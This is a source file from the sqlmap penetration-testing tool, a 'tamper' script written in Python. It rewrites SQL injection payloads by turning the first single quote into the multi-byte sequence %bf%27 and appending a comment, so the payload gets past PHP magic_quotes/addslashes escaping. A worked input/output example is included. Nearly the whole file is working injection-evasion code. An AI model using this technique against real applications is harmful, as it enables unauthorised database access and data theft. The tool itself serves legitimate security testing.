sqlmap/tamper/unmagicquotes.py

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2011-08-29 19:42:01 +04:00
#!/usr/bin/env python
"""
$Id$
Copyright (c) 2006-2011 sqlmap developers (http://www.sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import re
import os
import random
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL
def dependencies():
pass
def tamper(payload):
"""
Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work)
Example:
* Input: 1' AND 1=1
* Output: 1%bf%27 AND 1=1--%20
Notes:
* Useful for bypassing magic_quotes/addslashes feature
Reference:
* http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string
"""
retVal = payload
if payload:
found = False
retVal = ""
for i in xrange(len(payload)):
if payload[i] == '\'' and not found:
retVal += "%bf%27"
found = True
else:
retVal += payload[i]
continue
if found:
retVal = re.sub("\s*(AND|OR)[\s(]+'[^']+'\s*(=|LIKE)\s*'.*", "", retVal)
retVal += "-- "
return retVal